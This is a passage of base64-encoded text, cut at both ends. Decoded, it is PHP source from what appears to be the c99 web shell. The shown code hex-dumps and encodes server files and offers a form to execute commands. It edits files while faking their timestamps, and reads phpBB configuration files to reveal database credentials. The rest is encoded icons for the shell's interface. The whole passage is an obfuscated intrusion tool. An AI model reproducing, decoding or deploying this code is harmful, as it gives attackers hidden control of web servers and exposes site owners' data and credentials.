7ICRzdHIgPSBmcmVhZCgkZmksZmlsZXNpemUoJGQuJGYpKTt9DQogICAgICAgIGVsc2Uge2VjaG8gIjxiPkhFWERVTVAgUFJFVklFVzwvYj4iOyAkc3RyID0gZnJlYWQoJGZpLCRoZXhkdW1wX2xpbmVzKiRoZXhkdW1wX3Jvd3MpO30NCiAgICAgICAgJG4gPSAwOw0KICAgICAgICAkYTAgPSAiMDAwMDAwMDA8YnI+IjsNCiAgICAgICAgJGExID0gIiI7DQogICAgICAgICRhMiA9ICIiOw0KICAgICAgICBmb3IgKCRpPTA7ICRpPHN0cmxlbigkc3RyKTsgJGkrKykgew0KICAgICAgICAgICRhMSAuPSBzcHJpbnRmKCIlMDJYIixvcmQoJHN0clskaV0pKS4iICI7DQogICAgICAgICAgc3dpdGNoIChvcmQoJHN0clskaV0pKSB7DQogICAgICAgICAgICBjYXNlIDA6ICAkYTIgLj0gIjxmb250PjA8L2ZvbnQ+IjsgYnJlYWs7DQogICAgICAgICAgICBjYXNlIDMyOg0KICAgICAgICAgICAgY2FzZSAxMDoNCiAgICAgICAgICAgIGNhc2UgMTM6ICRhMiAuPSAiJm5ic3A7IjsgYnJlYWs7DQogICAgICAgICAgICBkZWZhdWx0OiAkYTIgLj0gaHRtbHNwZWNpYWxjaGFycygkc3RyWyRpXSk7DQogICAgICAgICAgfQ0KICAgICAgICAgICRuKys7DQogICAgICAgICAgaWYgKCRuID09ICRoZXhkdW1wX3Jvd3MpIHsNCiAgICAgICAgICAgICRuID0gMDsNCiAgICAgICAgICAgIGlmICgkaSsxIDwgc3RybGVuKCRzdHIpKSB7JGEwIC49IHNwcmludGYoIiUwOFgiLCRpKzEpLiI8YnI+Ijt9DQogICAgICAgICAgICAkYTEgLj0gIjxicj4iOw0KICAgICAgICAgICAgJGEyIC49ICI8YnI+IjsNCiAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiPHRhYmxlIGJvcmRlcj0xIGJnY29sb3I9IzY2NjY2Nj4iLg0KICAgICAgICAgICAgICI8dHI+PHRkIGJnY29sb3I9IzY2NjY2Nj4iLiRhMC4iPC90ZD4iLg0KICAgICAgICAgICAgICI8dGQgYmdjb2xvcj0jMDAwMDAwPiIuJGExLiI8L3RkPiIuDQogICAgICAgICAgICAgIjx0ZCBiZ2NvbG9yPSMwMDAwMDA+Ii4kYTIuIjwvdGQ+Ii4NCiAgICAgICAgICAgICAiPC90cj48L3RhYmxlPjxicj4iOw0KICAgICAgfQ0KICAgICAgJGVuY29kZWQgPSAiIjsNCiAgICAgIGlmICgkYmFzZTY0ID09IDEpIHsNCiAgICAgICAgZWNobyAiPGI+QmFzZTY0IEVuY29kZTwvYj48YnI+IjsNCiAgICAgICAgJGVuY29kZWQgPSBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKSk7DQogICAgICB9DQogICAgICBlbHNlaWYoJGJhc2U2NCA9PSAyKSB7DQogICAgICAgIGVjaG8gIjxiPkJhc2U2NCBFbmNvZGUgKyBDaHVuazwvYj48YnI+IjsNCiAgICAgICAgJGVuY29kZWQgPSBjaHVua19zcGxpdChiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKSkpOw0KICAgICAgfQ0KICAgICAgZWxzZWlmKCRiYXNlNjQgPT0gMykgew0KICAgICAgICBlY2hvICI8Yj5CYXNlNjQgRW5jb2RlICsgQ2h1bmsgKyBRdW90ZXM8L2I+PGJyPiI7DQogICAgICAgICRlbmNvZGVkID0gYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkZC4kZikpOw0KICAgICAgICAkZW5jb2RlZCA9IHN1YnN0cihwcmVnX3JlcGxhY2UoIiEuezEsNzZ9ISIsIidcXDAnLlxuIiwkZW5jb2RlZCksMCwtMik7DQogICAgICB9DQogICAgICBlbHNlaWYoJGJhc2U2NCA9PSA0KSB7DQogICAgICAgICR0ZXh0ID0gZmlsZV9nZXRfY29udGVudHMoJGQuJGYpOw0KICAgICAgICAkZW5jb2RlZCA9IGJhc2U2NF9kZWNvZGUoJHRleHQpOw0KICAgICAgICBlY2hvICI8Yj5CYXNlNjQgRGVjb2RlIjsNCiAgICBpZiAoYmFzZTY0X2VuY29kZSgkZW5jb2RlZCkgIT0gJHRleHQpIHtlY2hvICIgKGZhaWxlZCkiO30NCiAgICBlY2hvICI8L2I+PGJyPiI7DQogICB9DQogICBpZiAoIWVtcHR5KCRlbmNvZGVkKSkNCiAgIHsNCiAgICBlY2hvICI8dGV4dGFyZWEgY29scz04MCByb3dzPTEwPiIuaHRtbHNwZWNpYWxjaGFycygkZW5jb2RlZCkuIjwvdGV4dGFyZWE+PGJyPjxicj4iOw0KICAgfQ0KICAgZWNobyAiPGI+SEVYRFVNUDo8L2I+PG5vYnI+IFs8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmZ1bGxoZXhkdW1wPTEmZD0iLnVybGVuY29kZSgkZCkuIlwiPkZ1bGw8L2E+XSBbPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW5mbyZkPSIudXJsZW5jb2RlKCRkKS4iXCI+UHJldmlldzwvYT5dPGJyPjxiPkJhc2U2NDogPC9iPg0KICAgICAgICA8bm9icj5bPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW5mbyZiYXNlNjQ9MSZkPSIudXJsZW5jb2RlKCRkKS4iXCI+RW5jb2RlPC9hPl0mbmJzcDs8L25vYnI+DQogICAgICAgIDxub2JyPls8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJhc2U2ND0yJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj4rY2h1bms8L2E+XSZuYnNwOzwvbm9icj4NCiAgICAgICAgPG5vYnI+WzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mYmFzZTY0PTMmZD0iLnVybGVuY29kZSgkZCkuIlwiPitjaHVuaytxdW90ZXM8L2E+XSZuYnNwOzwvbm9icj4NCiAgICAgICAgPG5vYnI+WzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mYmFzZTY0PTQmZD0iLnVybGVuY29kZSgkZCkuIlwiPkRlY29kZTwvYT5dJm5ic3A7PC9ub2JyPg0KICAgICAgICA8UD4iOw0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJodG1sIikgew0KICAgaWYgKCR3aGl0ZSkge0BvYl9jbGVhbigpO30NCiAgIGVjaG8gJHI7DQogICBpZiAoJHdoaXRlKSB7Yzk5c2hleGl0KCk7fQ0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJ0eHQiKSB7ZWNobyAiPHByZT4iLmh0bWxzcGVjaWFsY2hhcnMoJHIpLiI8L3ByZT4iO30NCiAgZWxzZWlmICgkZnQgPT0gImluaSIpIHtlY2hvICI8cHJlPiI7IHZhcl9kdW1wKHBhcnNlX2luaV9maWxlKCRkLiRmLFRSVUUpKTsgZWNobyAiPC9wcmU+Ijt9DQogIGVsc2VpZiAoJGZ0ID09ICJwaHBzZXNzIikgew0KICAgZWNobyAiPHByZT4iOw0KICAgJHYgPSBleHBsb2RlKCJ8Iiwkcik7DQogICBlY2hvICR2WzBdLiI8YnI+IjsNCiAgIHZhcl9kdW1wKHVuc2VyaWFsaXplKCR2WzFdKSk7DQogICBlY2hvICI8L3ByZT4iOw0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJleGUiKSB7DQogICAkZXh0ID0gZXhwbG9kZSgiLiIsJGYpOw0KICAgJGMgPSBjb3VudCgkZXh0KS0xOw0KICAgJGV4dCA9ICRleHRbJGNdOw0KICAgJGV4dCA9IHN0cnRvbG93ZXIoJGV4dCk7DQogICAkcmZ0ID0gIiI7DQogICBmb3JlYWNoKCRleGVmdHlwZXMgYXMgJGs9PiR2KQ0KICAgew0KICAgIGlmIChpbl9hcnJheSgkZXh0LCR2KSkgeyRyZnQgPSAkazsgYnJlYWs7fQ0KICAgfQ0KICAgJGNtZCA9IHN0cl9yZXBsYWNlKCIlZiUiLCRmLCRyZnQpOw0KICAgZWNobyAiPGI+RXhlY3V0ZSBmaWxlOjwvYj48Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9Y21kPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJjbWRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkY21kKS4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkY21kKSsyKS4iXCI+PGJyPkRpc3BsYXkgaW4gdGV4dC1hcmVhPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJjbWRfdHh0XCIgdmFsdWU9XCIxXCIgY2hlY2tlZD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cImRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkZCkuIlwiPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCJFeGVjdXRlXCI+PC9mb3JtPiI7DQogIH0NCiAgZWxzZWlmICgkZnQgPT0gInNkYiIpIHtlY2hvICI8cHJlPiI7IHZhcl9kdW1wKHVuc2VyaWFsaXplKGJhc2U2NF9kZWNvZGUoJHIpKSk7IGVjaG8gIjwvcHJlPiI7fQ0KICBlbHNlaWYgKCRmdCA9PSAiY29kZSIpIHsNCiAgICBpZiAoZXJlZygicGhwIi4iQkIgMi4oLiopIGF1dG8tZ2VuZXJhdGVkIGNvbmZpZyBmaWxlIiwkcikpIHsNCiAgICAgICRhcnIgPSBleHBsb2RlKCJcbiIsJHIpOw0KICAgICAgaWYgKGNvdW50KCRhcnIgPT0gMTgpKSB7DQogICAgICAgIGluY2x1ZGUoJGQuJGYpOw0KICAgICAgICBlY2hvICI8Yj5waHBCQiBjb25maWd1cmF0aW9uIGlzIGRldGVjdGVkIGluIHRoaXMgZmlsZSE8YnI+IjsNCiAgICAgICAgaWYgKCRkYm1zID09ICJteXNxbDQiKSB7JGRibXMgPSAibXlzcWwiO30NCiAgICAgICAgaWYgKCRkYm1zID09ICJteXNxbCIpIHtlY2hvICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PXNxbCZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkZGJob3N0KS4iJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJGRidXNlcikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkZGJwYXNzd2QpLiImc3FsX3BvcnQ9MzMwNiZzcWxfZGI9Ii5odG1sc3BlY2lhbGNoYXJzKCRkYm5hbWUpLiJcIj48Yj48dT5Db25uZWN0IHRvIERCPC91PjwvYj48L2E+PGJyPjxicj4iO30NCiAgICAgICAgZWxzZSB7ZWNobyAiQnV0LCB5b3UgY2FuJ3QgY29ubmVjdCB0byBmb3J1bSBzcWwtYmFzZSwgYmVjYXVzZSBkYi1zb2Z0d2FyZT1cIiIuJGRibXMuIlwiIGlzIG5vdCBzdXBwb3J0ZWQgYnkgIi4kc2hfbmFtZS4iLiBQbGVhc2UsIHJlcG9ydCB1cyBmb3IgZml4LiI7fQ0KICAgICAgICBlY2hvICJQYXJhbWV0ZXJzIGZvciBtYW51YWwgY29ubmVjdDo8YnI+IjsNCiAgICAgICAgJGNmZ3ZhcnMgPSBhcnJheSgiZGJtcyI9PiRkYm1zLCJkYmhvc3QiPT4kZGJob3N0LCJkYm5hbWUiPT4kZGJuYW1lLCJkYnVzZXIiPT4kZGJ1c2VyLCJkYnBhc3N3ZCI9PiRkYnBhc3N3ZCk7DQogICAgICAgIGZvcmVhY2ggKCRjZmd2YXJzIGFzICRrPT4kdikge2VjaG8gaHRtbHNwZWNpYWxjaGFycygkaykuIj0nIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iJzxicj4iO30NCiAgICAgICAgZWNobyAiPC9iPjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsNCiAgICAgIH0NCiAgICB9DQogICAgZWNobyAiPGRpdiBzdHlsZT1cImJvcmRlciA6IDBweCBzb2xpZCAjRkZGRkZGOyBwYWRkaW5nOiAxZW07IG1hcmdpbi10b3A6IDFlbTsgbWFyZ2luLWJvdHRvbTogMWVtOyBtYXJnaW4tcmlnaHQ6IDFlbTsgbWFyZ2luLWxlZnQ6IDFlbTsgYmFja2dyb3VuZC1jb2xvcjogIi4kaGlnaGxpZ2h0X2JhY2tncm91bmQgLiI7XCI+IjsNCiAgICBpZiAoIWVtcHR5KCR3aGl0ZSkpIHtAb2JfY2xlYW4oKTt9DQogICAgaGlnaGxpZ2h0X2ZpbGUoJGQuJGYpOw0KICAgIGlmICghZW1wdHkoJHdoaXRlKSkge2M5OXNoZXhpdCgpO30NCiAgICBlY2hvICI8L2Rpdj4iOw0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJkb3dubG9hZCIpIHsNCiAgICBAb2JfY2xlYW4oKTsNCiAgICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7DQogICAgaGVhZGVyKCJDb250ZW50LWxlbmd0aDogIi5maWxlc2l6ZSgkZC4kZikpOw0KICAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLiRmLiJcIjsiKTsNCiAgICBlY2hvICRyOw0KICAgIGV4aXQ7DQogIH0NCiAgZWxzZWlmICgkZnQgPT0gIm5vdGVwYWQiKSB7DQogICAgQG9iX2NsZWFuKCk7DQogICAgaGVhZGVyKCJDb250ZW50LXR5cGU6IHRleHQvcGxhaW4iKTsNCiAgICBoZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi4kZi4iLnR4dFwiOyIpOw0KICAgIGVjaG8oJHIpOw0KICAgIGV4aXQ7DQogIH0NCiAgZWxzZWlmICgkZnQgPT0gImltZyIpIHsNCiAgICAkaW5mID0gZ2V0aW1hZ2VzaXplKCRkLiRmKTsNCiAgICBpZiAoISR3aGl0ZSkgew0KICAgICAgaWYgKGVtcHR5KCRpbWdzaXplKSkgeyRpbWdzaXplID0gMjA7fQ0KICAgICAgJHdpZHRoID0gJGluZlswXS8xMDAqJGltZ3NpemU7DQogICAgICAkaGVpZ2h0ID0gJGluZlsxXS8xMDAqJGltZ3NpemU7DQogICAgICBlY2hvICI8Y2VudGVyPjxiPlNpemU6PC9iPiZuYnNwOyI7DQogICAgICAkc2l6ZXMgPSBhcnJheSgiMTAwIiwiNTAiLCIyMCIpOw0KICAgICAgZm9yZWFjaCAoJHNpemVzIGFzICR2KSB7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWltZyZkPSIudXJsZW5jb2RlKCRkKS4iJmltZ3NpemU9Ii4kdi4iXCI+IjsNCiAgICAgICAgaWYgKCRpbWdzaXplICE9ICR2ICkge2VjaG8gJHY7fQ0KICAgICAgICBlbHNlIHtlY2hvICI8dT4iLiR2LiI8L3U+Ijt9DQogICAgICAgIGVjaG8gIjwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgICAgfQ0KICAgICAgZWNobyAiPGJyPjxicj48aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW1nJndoaXRlPTEmZD0iLnVybGVuY29kZSgkZCkuIlwiIHdpZHRoPVwiIi4kd2lkdGguIlwiIGhlaWdodD1cIiIuJGhlaWdodC4iXCIgYm9yZGVyPVwiMVwiPjwvY2VudGVyPiI7DQogICAgfQ0KICAgIGVsc2Ugew0KICAgICAgQG9iX2NsZWFuKCk7DQogICAgICAkZXh0ID0gZXhwbG9kZSgkZiwiLiIpOw0KICAgICAgJGV4dCA9ICRleHRbY291bnQoJGV4dCktMV07DQogICAgICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogIi4kaW5mWyJtaW1lIl0pOw0KICAgICAgcmVhZGZpbGUoJGQuJGYpOw0KICAgICAgZXhpdDsNCiAgICB9DQogIH0NCiAgZWxzZWlmICgkZnQgPT0gImVkaXQiKSB7DQogICBpZiAoIWVtcHR5KCRzdWJtaXQpKQ0KICAgew0KICAgIGlmICgkZmlsZXN0ZWFsdGgpIHskc3RhdCA9IHN0YXQoJGQuJGYpO30NCiAgICAkZnAgPSBmb3BlbigkZC4kZiwidyIpOw0KICAgIGlmICghJGZwKSB7ZWNobyAiPGI+Q2FuJ3Qgd3JpdGUgdG8gZmlsZSE8L2I+Ijt9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgZWNobyAiPGI+U2F2ZWQhPC9iPiI7DQogICAgIGZ3cml0ZSgkZnAsJGVkaXRfdGV4dCk7DQogICAgIGZjbG9zZSgkZnApOw0KICAgICBpZiAoJGZpbGVzdGVhbHRoKSB7dG91Y2goJGQuJGYsJHN0YXRbOV0sJHN0YXRbOF0pO30NCiAgICAgJHIgPSAkZWRpdF90ZXh0Ow0KICAgIH0NCiAgIH0NCiAgICRyb3dzID0gY291bnQoZXhwbG9kZSgiXHJcbiIsJHIpKTsNCiAgIGlmICgkcm93cyA8IDEwKSB7JHJvd3MgPSAxMDt9DQogICBpZiAoJHJvd3MgPiAzMCkgeyRyb3dzID0gMzA7fQ0KICAgZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1lZGl0JmQ9Ii51cmxlbmNvZGUoJGQpLiJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCJTYXZlXCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJyZXNldFwiIHZhbHVlPVwiUmVzZXRcIj4mbmJzcDs8aW5wdXQgdHlwZT1cImJ1dHRvblwiIG9uY2xpY2s9XCJsb2NhdGlvbi5ocmVmPSciLmFkZHNsYXNoZXMoJHN1cmwuImFjdD1scyZkPSIuc3Vic3RyKCRkLDAsLTEpKS4iJztcIiB2YWx1ZT1cIkJhY2tcIj48YnI+PHRleHRhcmVhIG5hbWU9XCJlZGl0X3RleHRcIiBjb2xzPVwiMTIyXCIgcm93cz1cIiIuJHJvd3MuIlwiPiIuaHRtbHNwZWNpYWxjaGFycygkcikuIjwvdGV4dGFyZWE+PC9mb3JtPiI7DQogIH0NCiAgZWxzZWlmICghZW1wdHkoJGZ0KSkge2VjaG8gIjxjZW50ZXI+PGI+TWFudWFsbHkgc2VsZWN0ZWQgdHlwZSBpcyBpbmNvcnJlY3QuIElmIHlvdSB0aGluaywgaXQgaXMgbWlzdGFrZSwgcGxlYXNlIHNlbmQgdXMgdXJsIGFuZCBkdW1wIG9mIFwkR0xPQkFMUy48L2I+PC9jZW50ZXI+Ijt9DQogIGVsc2Uge2VjaG8gIjxjZW50ZXI+PGI+VW5rbm93biBleHRlbnNpb24gKCIuJGV4dC4iKSwgcGxlYXNlLCBzZWxlY3QgdHlwZSBtYW51YWxseS48L2I+PC9jZW50ZXI+Ijt9DQp9DQplY2hvICI8L2Rpdj5cbiI7DQp9DQp9DQplbHNlIHsNCkBvYl9jbGVhbigpOw0KJGltYWdlcyA9IGFycmF5KA0KImFycm93X2x0ciI9Pg0KIlIwbEdPRGxoSmdBV0FJQUJBUC8vL3dBQUFDSDVCQUhvQXdFQUxBQUFBQUFtQUJZQUFBSXZqSStweSswUEY0aTBnVnZ6dVZ4WERub1FTSXJVWkdab2VyS2YyOEtqUE5QT2FrdTVSZlordVFzS2g4UmlvZ0FBT3c9PSIsDQoiYmFjayI9Pg0KIlIwbEdPRGxoRkFBVUFLSUFBQUFBQVAvLy85M2QzY0RBd0lhR2hnUUVCUC8vL3dBQUFDSDVCQUVBQUFZQUxBQUFBQUFVQUJRQUFBTTgiLg0KImFMcmMvakRLU1dXcGpWeXNTTmlZSjRDVU9CSm9xam5pSUx6d3V6THRZTi8zekJTRXJmNmtCVytnS1JpUFJnaFBoK0VGSzBtT1VFcXQiLg0KIldnMEpBRHM9IiwNCiJidWZmZXIiPT4NCiJSMGxHT0RsaEZBQVVBS0lBQUFBQUFQLy8vL2o0K04zZDNjek16TEt5c29hR2h2Ly8veUg1QkFFQUFBY0FMQUFBQUFBVUFCUUFBQU5vIi4NCiJlTHJjcmliRzkweTRGMUFtdTUrTmhZMmt4bDJDTUt3clFSU0d1VmpwNExtd0RBV3FpQUdGWENoZyt4aG5SQitwdExPaGFpMWNyRW1EIi4NCiJEbHd2NGNFQzQ2bWkyWWdKUUtheHNFR0RGbm5Hd1dEVEV6ajlqclBSZGJodUc4Q3IvMklOWklPRWhYc2JEd2tBT3c9PSIsDQoiY2hhbmdlIj0+DQoiUjBsR09EbGhGQUFVQU1RZkFMM2hqN25YK3BxbzFlankvZjdZQWNUYis4dmgrNkZ0SDU2V1p0dnIvUkFRRVplY3g5TGwvUFg2L3YzKyIuDQoiLzNlSHQ2cTg4ZUh1L1prZkgzeVZ5SXVRdCs3Mi9rT205OWZvL1A4QVptNTdya0dTNEhlejZwaWw5b2VwM0dabVp2Ly8veUg1QkFFQSIuDQoiQUI4QUxBQUFBQUFVQUJRQUFBV2Y0Q2VPWkdtZTZObXRMT3VsWCtjNFRWTlZRN2U5cUZ6Zmc0SEZvbmtkSkE1UzU0Y2JSQW9GeUVPQyIuDQoid1NpVXRtWWtrcmd3T0FlQTV6cnFhTGxkQmlOTUlKZUQyNjZYWVRnUURtNVJ4OG1kRytvQWJTWWRhSDRHYTNjOEpCTUphWFFHQlFnQSIuDQoiQ0hrakU0YVFrUTBBbFNJVGFuK1pBUXFraWlRUGoxQUZBYU1LRUtZakQzOVFyS3dLQWE4bkdRSzhBZ3UvQ3hUQ3NDTWV4c2ZJeGpETCIuDQoiek1zaEFEcz0iLA0KImRlbGV0ZSI9Pg0KIlIwbEdPRGxoRkFBVUFPWlpBUHo4L05QRnlOZ0hMczBZT3ZQejgvYjI5c2FjcE5YVjFmWDE5Y3dYT2ZEdzhLZW5wL241K2V0Z2V1bnAiLg0KIjZkY0dMTU1wUnVycTZwS1NrdHZiMisvdjcrMXdoM1IwZFBuUDE3aUFpcHh5ZWw5Zlg3ZGpjc2NTTTkzZDNaR1JrZUVzVGV2ZDRMQ3ciLg0KInNHUmtaR3BPVStJZlErRVFOb2g2ZmRJY1BlSGg0WVdGaGJKUVl2THk4dWkreG01dWJzeGNjT3g4a2NNNFV0WTlXZUFkUVltSmlmV3YiLg0KInZIeDhmTW5KeWNNM1VmM3Y4clJ1ZTk4T05iT3pzOVlGSzVTVWxLWW9QK1RrNU4wb1N1Zm41N1pHV3NRclI5a0lMNUNRa09QajQyVmwiLg0KIlplQVBOdWRBWDlzS01QdjcrMTVRVTV1Ym0zOS9mOGU1dTR4aWF0cmEydWJLejhQRHcrcGZlZTkvbE1LMHQ4MXJmZDhBS2YvLy93QUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDSDUiLg0KIkJBRUFBRmtBTEFBQUFBQVVBQlFBQUFlc2dGbUNnNFNGaG9lSWhpVWZJSW1JTWxnUUI0NkdMQWxZUWthRlZWaFNBSVpMVDVjYkVZSTQiLg0KIlNUbzVNeE9maFF3QkExZ1lDaGNrUUJrMU93aUlBTEFDTGtneEppbFRCSTY5UkZoREZoNEhESlJaVkZnUFBGQlIwRmtOV0RkTUhBOEciLg0KIkJaVGFNQ0lTVmdNQzRJa1ZXQ2NhUFNpOTZPcUdORmhLSTA0ZGdyMFFXRmNLREwzQTR1T0lqVlpaQUJ4UUlXREJMa0lFUXJSb1FzSFEiLg0KImp3VkZIQmdpRUdRRklnUWFzWWtjU2JKUUlBQTciLA0KImRvd25sb2FkIj0+DQoiUjBsR09EbGhGQUFVQUxNSUFBRC9BQUNBQUlBQUFNREF3SDkvZi84QUFQLy8vd0FBQVAvLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFDSDVCQUVBQUFnQUxBQUFBQUFVQUJRQUFBUk9FTWxKcTcwNFV5R092a0xoZlZVNGtwT0pTcHg1bkY5WWlDdExmMFN1SDdwdSIuDQoiRVlPZ2NCZ2t3QWlHcEhLWnpCMkp4QURBU1FGQ2lkUUpzTWZkR3FzREpuT1FsWFRQMzhwcnpXYlgzcWdJQURzPSIsDQoiZm9yd2FyZCI9Pg0KIlIwbEdPRGxoRkFBVUFQSUFBQUFBQVAvLy85M2QzY0RBd0lhR2hnUUVCUC8vL3dBQUFDSDVCQUVBQUFZQUxBQUFBQUFVQUJRQUFBTTgiLg0KImFMcmMvakRLMlFwOXhWNVdpTjVHNTBGWmFSTEQ2SWhFNjZMcHQzUkRiZDlDUUZTRTRQKytRVzdIZTdVS1BoMElxVncybDBSUVNFcXQiLg0KIldxc0pBRHM9IiwNCiJob21lIj0+DQoiUjBsR09EbGhGQUFVQUxNQUFBQUFBUC8vLytycTZ0M2QzY3pNekxLeXNvYUdobVptWmdRRUJQLy8vd0FBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFDSDVCQUVBQUFrQUxBQUFBQUFVQUJRQUFBUitNTWs1VFRXSTZpcHlNb08zY1VXUmdlSm9DQ2FMb0tPMG1xMFp4ak5TQkRXUyIuDQoia3JxQXNMZko3WVFCbDR0aVJDWUZTcFBNZFJSQ29RT2lMNGk4Q2daZ2swOVdmV0xCWVpIQjZVV2pDZXF1d0VESHVPRVZLM1F0Z04vaiIuDQoiVndNckJEWnZnRitDaEhhR2VZaUNCUVlIQ0g4VkJKYVdkQWVTbDVZaVc1K2dvQklSQURzPSIsDQoibW9kZSI9Pg0KIlIwbEdPRGxoSFFBVUFMTUFBQUFBQVAvLy82Q2dwTjNkM2N6TXpJYUdobVptWmw5ZlgvLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBZEFCUUFBQVNCRU1sSnE3MDQ2MW02LytBSFpNVWduR2lxbmlOV0hIQXN6M0Y3RlVHdTczeE8iLg0KIjJCWmN3R0RvRVhrL1VxNElDQUNlUTZmem1YVGxuczBkZGxlOTliN2NGdllwRVI1NVoxMFh5MWxLdDh3cG9Jc0FDcmRhcUJwWUVZSy8iLg0KImRIMUxSV2lFZTBwUlRYQnZWSHdVZDNvNmVENk9IQVNYbUptYW1KVVNZNStnbnh1anBCSVJBRHM9IiwNCiJzZWFyY2giPT4NCiJSMGxHT0RsaEZBQVVBTE1BQUFBQUFQLy8vK3JxNnQzZDNjek16TURBd0xLeXNvYUdobmQzZDJabVpsOWZYMDFOVFNrcEtRUUVCUC8vIi4NCiIvd0FBQUNINUJBRUFBQTRBTEFBQUFBQVVBQlFBQUFTbjBNbDVxajB6NXhyNitKWkdlVVpwSElxUk5PSVJmSVlpeSthNnZjT3BIT2FwIi4NCiJzNUlLUWNjejhYZ0s0RUdnUXFXTXZrclNzY3lsaG9hRlZtdVpMZ1VEQW5aeEVCTU9EU25ya2hpU0NaNENHclVXTUErTExEeHVTSHNEIi4NCiJBa040QzNzZkJYMTBWSGFCSjRRZkE0ZUlVNHBpalFjRm1DVm9Oa0ZsZ2djTVJTY05TVUNkSnlob0Rhc05aNU1URFZzWEJ3bHZpUm1yIi4NCiJDYnE3QzZzSXJxYXdyS3dUdjY4aXlBNnJEaEVBT3c9PSIsDQoic2V0dXAiPT4NCiJSMGxHT0RsaEZBQVVBTVFBQUFBQUFQLy8vL2o0K09QajQ5M2QzY3pNek1EQXdMS3lzcGFXbG9hR2huZDNkMlptWmw5ZlgwMU5UVUpDIi4NCiJRaHdjSFAvLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDSDVCQUVBIi4NCiJBQkFBTEFBQUFBQVVBQlFBQUFXVklDU0tpa0tXYURtdVNoQ1VianpNd0VvR2hWdnNmSEVFTlJZT2dlZ2xqa2VnMFBGNEtCSUZSTUlCIi4NCiJxQ2FDSjRlSUdRVm9JVldzVGZRb1hNZm9VZm1NWnJnWjJHTkRQR0lJN2dKRExZRXJ3RzF2Z1c4Q0NRdHpnSGlKQW5hRmh5dDJkd1FFIi4NCiJPd2NNWm9aMGtKS1VsWmVPZFFLYlBnZWRqWm1obkFjSmxxYUlxVWVzbUlpa3BFaXhueUpodWxVTWhnMjRhU082WXlFQU93PT0iLA0KInNtYWxsX2RpciI9Pg0KIlIwbEdPRGxoRXdBUUFMTUFBQUFBQVAvLy81eWNBTTdPWS8vL25QLy96di9PblBmMzkvLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQ0g1QkFF